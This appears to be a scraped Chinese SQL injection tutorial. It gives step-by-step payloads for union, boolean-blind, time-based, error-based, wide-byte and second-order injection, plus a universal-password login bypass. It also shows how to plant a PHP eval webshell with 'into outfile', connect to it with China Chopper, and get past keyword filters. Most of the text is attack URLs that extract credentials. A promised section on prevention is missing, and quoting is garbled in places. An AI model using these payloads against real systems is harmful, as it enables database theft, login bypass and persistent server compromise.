在 Web 端大概是 http://xxx.com/news.php?id=1 這種形式,其注入點(diǎn) id 類型為數(shù)字,所以叫數(shù)字型注入點(diǎn)。這一類的 SQL 語句原型大概為select * from 表名 where id=1。組合出來的sql注入語句為:select * from news where id=1 and 1=1
在 Web 端大概是 http://xxx.com/news.php?name=admin 這種形式,其注入點(diǎn) name 類型為字符類型,所以叫字符型注入點(diǎn)。這一類的 SQL 語句原型大概為select * from 表名 where name='admin’。注意多了引號。組合出來的sql注入語句為:select * from news where chr='admin’ and 1=1 ’ ’
閉合單引號chr='admin’ union select 1,2,3,4 and '1’='1 ====>chr='admin’(閉合前面單引號) union select 1,2,3,4 and '1’='1’
這是一類特殊的注入類型。這類注入主要是指在進(jìn)行數(shù)據(jù)搜索時沒過濾搜索參數(shù),一般在鏈接地址中有“keyword=關(guān)鍵字”,有的不顯示在的鏈接地址里面,而是直接通過搜索框表單提交。此類注入點(diǎn)提交的 SQL 語句,其原形大致為:select * from 表名 where 字段 like '%關(guān)鍵字%’。組合出來的sql注入語句為:select * from news where search like '%測試 %’ and '%1%’=’%1%'測試%’ union select 1,2,3,4 and '%’=’
提交數(shù)據(jù)的方式是 GET , 注入點(diǎn)的位置在 GET 參數(shù)部分。比如有這樣的一個鏈接http://xxx.com/news.php?id=1, id 是注入點(diǎn)。
使用 POST 方式提交數(shù)據(jù),注入點(diǎn)位置在 POST 數(shù)據(jù)部分,常發(fā)生在表單中。
HTTP 請求的時候會帶上客戶端的 Cookie, 注入點(diǎn)存在 Cookie 當(dāng)中的某個字段中。
注入點(diǎn)在 HTTP 請求頭部的某個字段中。比如存在 User-Agent 字段中。嚴(yán)格講的話,Cookie 其實(shí)應(yīng)該也是算頭部注入的一種形式。因?yàn)樵?HTTP 請求的時候,Cookie 是頭部的一個字段。
數(shù)字型注入判斷方法有三種
1.輸入單引號,不正常返回
Select * from users where id =1’ 加單引號sql語句本身語法就錯誤了會有不正常的返回
2.輸入and 1=1,可以正常返回
Select * from users where id =1 and 1=1 符合語法,可以正常返回
3.輸入and 1=2,不正常的返回
Select * from users where id =1 and 1=2 邏輯錯誤1不等于2,返回不正常
字符型注入判斷方法有三種
1.輸入單引號,不正常返回
Select * from users where id =1’ 加單引號sql語句本身語法就錯誤了會有不正常的返回
2.輸入’ and '1’=’1
Select * from users where id =’admin’ and '1’=’1’ 語法正確可以正常返回
3.輸入’ and '1’=’2
Select * from users where id =’admin’ and '1’=’2’ 邏輯錯誤可以正常返回
MySQL需要掌握的基礎(chǔ)
1.information_schema:提供訪問數(shù)據(jù)庫元數(shù)據(jù)的方式,元數(shù)據(jù)就是是關(guān)于數(shù)據(jù)的數(shù)據(jù)
2.Information_schema:存儲了schemata,tables,columns三個表
3.Schema:存儲所有數(shù)據(jù)庫
4.Tables:存儲所有數(shù)據(jù)表
5.Columns:存儲所有列
6.MySQL系統(tǒng)庫存儲數(shù)據(jù)庫的用戶,權(quán)限設(shè)置,關(guān)鍵字
7.MySQL是關(guān)系型數(shù)據(jù)庫
1.union用于合并兩個或多個語句的結(jié)果集,并去除重復(fù)的行
2.order by 按一個或多個字段排序 可以用字段在列表中的位置號來代替字段名,比如username在列表的第2列 可以用order by 2 這就是為什么order by 可以用來判斷列數(shù)
3.添加and 1=2的原因是因?yàn)榻?jīng)過聯(lián)合查詢返回多條數(shù)據(jù)多數(shù)應(yīng)用只返回查詢到的第一條結(jié)果聯(lián)合查詢的其他結(jié)果不會被顯示
4.
concat():用于直接連接字符串concat('11’,’12’,’13’) 效果111213
group_concat(str1,str2) 用逗號連接 效果11,12,13
concat_ws(seq,str1.str2)用seq指定的字符來分割1,2
mysql注釋符 # # – /**/
5.
萬能密碼:
username :admin’ or '1’='1# ' or '1’=’1#
password :*******(隨意輸入)
單引號閉合則可以用 -- 來注釋掉后面的 ’
MySQL聯(lián)合查詢需要掌握的基礎(chǔ)函數(shù)
函數(shù) | 作用 |
---|---|
user() | –當(dāng)前用戶名 |
database() | –當(dāng)前數(shù)據(jù)庫庫名 |
version() | –獲取當(dāng)前版本 |
@@datadir | –數(shù)據(jù)庫路徑 |
@@version_compile_os | –操作系統(tǒng)版本 |
load_file() | –讀取文件 |
into outfile()/into dumpfile() | 寫入文件 |
concat() | –直接連接 |
group_concat() | –使用逗號作為分隔符 |
concat_ws() | –使用指定符號作為分割符 |
聯(lián)合注入過程(數(shù)字型)
1.判斷注入點(diǎn)
http://www.ctfs-wiki.com/index.php?id =1’ 報錯
http://www.ctfs-wiki.com/index.php?id =1 and 1=1 正常
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 不正常
2.判斷列數(shù)
http://www.ctfs-wiki.com/index.php?id =1 order by 1
3.判斷顯示位
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,3
http://www.ctfs-wiki.com/index.php?id =-1 union select 1,2,3
4.獲取當(dāng)前數(shù)據(jù)庫
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,database()
5.獲取數(shù)據(jù)庫中的表名
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’
6.獲取數(shù)據(jù)庫的列名
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ and table_schema=’security’
8.獲取數(shù)據(jù)表中的數(shù)據(jù)
http://www.ctfs-wiki.com/index.php?id =1 and 1=2 union select 1,2,group_concat(username,’ ’,password) from security.users
Bool注入沒有任何報錯信息,頁面只有正常和不正常兩種結(jié)果
函數(shù) | 描述 |
---|---|
Length() | 返回字符串的長度 |
Substr(字段名,A,N) | 截取字符串 |
ascii() | 返回字符的ascii碼 |
limit(0,1) | 從0行開始,向后取1行數(shù)據(jù) |
ord() | 函數(shù)可以返回單個字符的ASCII碼 |
布爾注入過程 (bool)
1.在參數(shù)后添加引號嘗試報錯,并用and 1=1#和and 1=2#測試報錯
?id=1’ and 1=1# 頁面返回正常
?id=1’ and 1=2# 頁面返回不正常
2.判斷數(shù)據(jù)庫名的長度
1’ and length(database())>=11– 頁面返回正常
1’ and length(database())>=13– 頁面返回正常
1’ and length(database())>=14– 頁面返回錯誤
由此判斷得到數(shù)據(jù)庫名的長度是13個字符
3.猜解數(shù)據(jù)庫名
使用逐字符判斷的方式獲取數(shù)據(jù)庫名;數(shù)據(jù)庫名的范圍一般在az、09之內(nèi),可能還會有特殊字符 “_”、”-“ 等,這里的字母不區(qū)分大小寫。
’ and substr(database(),1,1)='a’–
’ and substr(database(),2,1)='a’–
substr 的用法和 limit 有區(qū)別,limit從 0 開始排序,這里從 1 開始排序。
用Burp爆破字母a的位置,即可得到數(shù)據(jù)庫名每個位置上的字符。
還可以用ASCII碼查詢
a 的ASCII碼是97,在MySQL中使用ord函數(shù)轉(zhuǎn)換ASCII,所以逐字符判斷語句可改為:
’ and ord(substr(database(),1,1))=97–
4、判斷數(shù)據(jù)庫表名
’ and substr((select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫名’ limit 0,1),1,1)='a’–
–修改1,1前邊的1~20,逐字符猜解出第一個表的名
–修改limit的0,1前邊的0~20,逐個猜解每個表
5、判斷數(shù)據(jù)庫字段名
’ and substr((select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫名’ and table_name='表名’ limit 0,1),1,1)='a’–
–修改1,1前邊的1~20,逐字符猜解出第一個字段的名
–修改limit的0,1前邊的0~20,逐個猜解每個字段
6、取數(shù)據(jù)
’ and substr((select 字段名 from 表名 limit 0,1),1,1)='a’–
如果嫌用Burp慢的話,可以自己編寫腳本,修改payload即可
Sleep注入沒有任何報錯信息,頁面返回不管對或者錯都只用有一種狀態(tài),無法通過頁面返回狀態(tài)判斷SQL語句是否正確,只能構(gòu)造sleep語句判斷返回時間
Sleep()函數(shù)可以是執(zhí)行掛起一段時間 select sleep(3) 執(zhí)行了3秒
If(exp1,exp2,exp3)類似三元運(yùn)算符,如果exp1為真返回exp2,為假則返回exp3
sleep注入過程
1、判斷注入類型
?id=1’ and sleep(5)# 延遲
?id=1 and sleep(5)# 沒有延遲
?id=1’ and sleep(5) and 1=1– 頁面返回不正常,延時5秒
?id=1’ and sleep(5) and 1=2– 頁面返回不正常,不延時
2、利用sleep判斷數(shù)據(jù)庫名長度
' and if(length(database())>1,sleep(5),1)
–if(條件表達(dá)式,真,假) --C語言的三目運(yùn)算符類似
3、獲取數(shù)據(jù)庫名
and if(substr(database(),1,1)='a’,sleep(5),1)–
具體數(shù)據(jù)以此類推即可。
報錯注入原理
updatexml報錯注入的一種利用updatexml第二個參數(shù)xpath_string的報錯進(jìn)行注入,xpath_string是xml文檔路徑,格式是/xxx/xxx/xxx/,格式不正確就會報錯
updatexml函數(shù)介紹
Updatexml(XML_document,XPath_string,new_value)
XML_document 是string型數(shù)據(jù),是目標(biāo)xml文檔的文件格式
XPath_string是xml文檔的路徑
New_value是string型數(shù)據(jù),用于替換查找到的符合條件的數(shù)據(jù)
Updatexml(dco,’/book/author/initial’,’ctfa03’)
報錯注入函數(shù)
函數(shù) | 描述 |
---|---|
updatexml() | 修改查詢到的內(nèi)容 |
extractvalue() | –查詢節(jié)點(diǎn)內(nèi)容 |
floor() | 返回小于等于該值的最大整數(shù) |
updatexml報錯注入過程
1、嘗試用單引號報錯
2、獲取數(shù)據(jù)庫名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)–
–0x7e是"~"符號的16進(jìn)制,在這作為分隔符
3、獲取表名
’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫名’ limit 0,1),0x7e),1)–
4、獲取字段名
’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫名’ and table_name='表名’ limit 0,1),0x7e),1)–
5、取數(shù)據(jù)
’ and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)–
extractvalue報錯注入過程
Extractvalue 函數(shù)可以對xml文檔進(jìn)行查詢是報錯的一種注入,原理也是通過XPath_string路徑格式錯誤觸發(fā)報錯
1.獲取數(shù)據(jù)庫的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x7e,(database())),0)#
2.獲取數(shù)據(jù)表的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security’ limit 0,1)),0)#
3.獲取數(shù)據(jù)表列的名字
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema='security’ limit 1,1)),0)#
4.獲取數(shù)據(jù)庫數(shù)據(jù)
http://www.ctfs-wiki.com/index.php?id=1 and extractvalue(1,concat(0x23,(select password from security.users limit 0,1)),1)
floor報錯注入的過程
Floor是報錯注入的一種方式,主要原因是rand和group by 分組一起使用,rand函數(shù)會計算多次導(dǎo)致報錯
Floor函數(shù)floor(x)返回不大于x的最大整數(shù)值floor(1.4)返回1
Rand()返回0-1之間的隨機(jī)數(shù) --主鍵重復(fù)(duplicate entry)
floor() --返回小于等于該值的最大整數(shù)
只要是count,rand(),group by 三個連用就會造成這種主鍵重復(fù)報錯
1.獲取數(shù)據(jù)庫的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat(database(),floor(rand()*2))x from information_schema.tables group by x)a)
2.獲取數(shù)據(jù)表的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((select(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
3.獲取數(shù)據(jù)表列的名字
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((select(columns_name) from information_schema.columns where table_name=’users’ and table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
4.獲取數(shù)據(jù)庫的數(shù)據(jù)
http://www.ctfs-wiki.com/index.php?id =1 and (select 1 from (select count(*),concat((selectusername from cms.user limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
注入原理
Addslashes等函數(shù)對輸入進(jìn)行過濾,效果?id=’1\’ 單引號被轉(zhuǎn)義,無法閉合,寬字符注入的原理是數(shù)據(jù)庫使用GBK編碼,輸入的第一個字符ascii碼大于128,就會被認(rèn)為前兩個字符是一個漢字,效果?id=’1?\’,?和\會組成漢字乘,效果?id=’1 乘’閉合成功不一定要?,大于?的編碼都可以
1.獲取當(dāng)前數(shù)據(jù)庫
http://192.168.91.142/sqli/02.php?id=1’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3#
后臺處理語句:
Select * from user where id=’1\’ and 1=2union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 #
寬字節(jié)注入
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 #
后臺處理語句
Select * from user where id=’1乘’ and 1=2 union select 1,concat_ws(char(32,58,32),user(),database(),version()),3 #
2.獲取數(shù)據(jù)庫的表名
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’cms’ #
單引號被轉(zhuǎn)義語法錯誤將數(shù)據(jù)庫名字轉(zhuǎn)換十六進(jìn)制
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 #
3.獲取數(shù)據(jù)庫列名
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(columns_name),3 from information_schema.columns where table_name=0x75736572 and table_schema=0x6374667377696b69 #
4.獲取數(shù)據(jù)庫數(shù)據(jù)
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(username,0x2a2a2a,password),3 from user#
Addslashes等函數(shù)對輸入進(jìn)行過濾,效果?id=’1\’ 單引號被轉(zhuǎn)義,無法閉合,寬字符注入的原理是數(shù)據(jù)庫使用GBK編碼,使用?\會組成一個繁體字,導(dǎo)致單引號逃逸,?’ and 1=1 ?’ order by 4
二次注入原理就是第一次在參數(shù)中輸入惡意數(shù)據(jù)1’時被addslashes過濾,在執(zhí)行時被\轉(zhuǎn)義但是存入數(shù)據(jù)庫中時\不會存入,1’單引號被存入數(shù)據(jù)庫,這樣下次查詢時如果沒有過濾,1’可以直接拼接到SQL語句中執(zhí)行
1.注冊在用戶名處輸入ctfs’ or updatexml(1,concat(0x7e,(verision())),0)#
2.在密碼找回處輸入郵箱查詢觸發(fā)二次注入
1.2加入單引號,輸入www.any.com/sqli/Less-7/?id=1’,此時發(fā)現(xiàn)頁面返回不正常,報錯,這是我們判斷此處存在SQL注入
1.3此時我們來判斷閉合字符輸入http://www.any.com/sqli/Less-7/?id=1’ and 1=1 #,回顯不正常
輸入http://www.any.com/sqli/Less-7/?id=1’) and 1=1 #,回顯不正常
輸入http://www.any.com/sqli/Less-7/?id=1’)) and 1=1 #,回顯正常
輸入http://www.any.com/sqli/Less-7/?id=1’)) and 1=2 #,回顯不正常
1.4這是我們就要利用以上所學(xué)知識寫入一句話木馬文件,我們輸入:
http://www.any.com/sqli/Less-7/?id=1’)) union select 1,'2’,’<?php @eval($_POST[a]);?>’ into outfile 'c:/www/2.php’#,雖然顯示報錯,但其實(shí)我們還是寫了進(jìn)去。
1.5此時,我們上中國菜刀工具,右擊點(diǎn)擊空白處,選擇添加,在對話框中輸入http://www.any.com/2.php,密碼填寫a,點(diǎn)擊添加即可獲取shell。
1.6下面進(jìn)行讀取文件,我們輸入:http://www.any.com/sqli/Less-7/?id=1’)) union select 1,2,load_file(“C:/WWW/2.php”) into outfile 'C:/WWW/3.php’#,雖然報錯了,但是我們還是讓它讀取到了2.php里的內(nèi)容,然后讓它以3.php寫入了進(jìn)去
|
9.Sql注入拿shell的方法
在開發(fā)程序中會通過關(guān)鍵字過濾的方式過濾SQL注入,可以通過編碼大小寫混寫等價函數(shù)繞過
1.使用MySQL的注釋符//繞過空格 space2comment.py
http://www.ctfs-wiki.com/index.asp?Id=1//and//1=2//union//select//1,2database()
2.制表符繞過空格
http://www.ctfs-wiki.com/index.asp?Id=1and1=2unionselect1,2database()
3.換行符
繞過
http://www.ctfs-wiki.com/index.asp?Id=1
and
1=2
union
select
1,2database()
4.括號繞過 mysql的特性id=1=1
http://www.ctfs-wiki.com/index.asp?Id=1=(ascii(mid(database() from (1)))=99)
5.反引號`繞過
6.內(nèi)聯(lián)注釋/!../繞過 randomcomments.py 使用/**/分割關(guān)鍵字
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2/!union//!select/1,2database()
7.大小寫?zhàn)堖^
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union seleCt 1,2,database()
8.雙寫關(guān)鍵字繞過
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union seselectlect 1,2,database()
9.雙重URL編碼繞過 chardoubleencode.py 單次編碼charencode.py
http://www.ctfs-wiki.com/index.asp?Id=1 and 1=2 union se%6cect 1,2,database()
10.十六進(jìn)制編碼繞過
http://192.168.91.142/sqli/02.php?id=1?’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x6374667377696b69 #
11.unicode編碼繞過IIS識別 charunicodeencode.py
http://www.ctfs-wiki.com/News.asp?SortID=1&ItemID=46 and 0 < (select top 1 name from sys.databases)
12.ascii編碼繞過單引號被轉(zhuǎn)義的情況 的url編碼為+
http://www.ctfs-wiki.com/News.asp?SortID=1&ItemID=46 and 0 < (select top 1 name from sec.dbo.sysobjects where xtype=’U’ and name not in(char(101) char(105) char(109) char(115) char(95) char(67) char(97) char(115) char(101) char(80) char(114) char(111)))
13.like或in 代替 = equaltolike.py
http://www.ctfs-wiki.com/News.asp?SortID=1 and 1 like 1
14from for繞過逗號
Select substr(database(),1,1)
Select substr(database()from 1 for 1)
15等價函數(shù)sleep=benchmark函數(shù) ascii=hex 函數(shù),bin函數(shù),group_concat=concat_ws,updatexml=extractvalue
下面這些建議或許對防治SQL注入有一定的幫助:
文章有多處摘自網(wǎng)上其他文章,如有侵權(quán)聯(lián)系我
來源:https://www.icode9.com/content-2-887951.html